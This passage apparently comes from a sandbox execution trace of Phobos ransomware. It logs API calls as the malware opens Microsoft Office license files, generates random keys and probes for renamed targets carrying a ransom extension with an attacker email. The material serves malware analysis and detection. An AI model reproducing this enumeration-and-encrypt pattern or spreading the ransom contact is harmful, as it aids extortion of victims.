"c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0152.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.088] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.089] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9601) returned 1 [0152.089] CloseHandle (hObject=0x564) returned 1 [0152.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0152.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.089] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.090] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10619) returned 1 [0152.090] CloseHandle (hObject=0x564) returned 1 [0152.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0152.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.090] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.091] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11576) returned 1 [0152.091] CloseHandle (hObject=0x564) returned 1 [0152.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0152.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.339] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.340] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19958) returned 1 [0152.340] CloseHandle (hObject=0x580) returned 1 [0152.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0152.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.340] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.341] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11167) returned 1 [0152.341] CloseHandle (hObject=0x580) returned 1 [0152.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0152.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.342] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.342] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22214) returned 1 [0152.342] CloseHandle (hObject=0x580) returned 1 [0152.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0152.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.343] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.343] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11621) returned 1 [0152.343] CloseHandle (hObject=0x580) returned 1 [0152.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0152.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.344] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.344] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11171) returned 1 [0152.344] CloseHandle (hObject=0x580) returned 1 [0152.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0152.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.345] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.346] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22215) returned 1 [0152.346] CloseHandle (hObject=0x580) returned 1 [0152.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0152.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.347] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.347] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11625) returned 1 [0152.347] CloseHandle (hObject=0x580) returned 1 [0152.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0152.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.348] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.348] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11215) returned 1 [0152.348] CloseHandle (hObject=0x580) returned 1 [0152.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.349] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.350] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21737) returned 1 [0152.350] CloseHandle (hObject=0x580) returned 1 [0152.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.351] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.351] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11669) returned 1 [0152.351] CloseHandle (hObject=0x580) returned 1 [0152.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.352] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.353] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21546) returned 1 [0152.353] CloseHandle (hObject=0x580) returned 1 [0152.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0152.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.354] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.354] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11619) returned 1 [0152.354] CloseHandle (hObject=0x580) returned 1 [0152.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 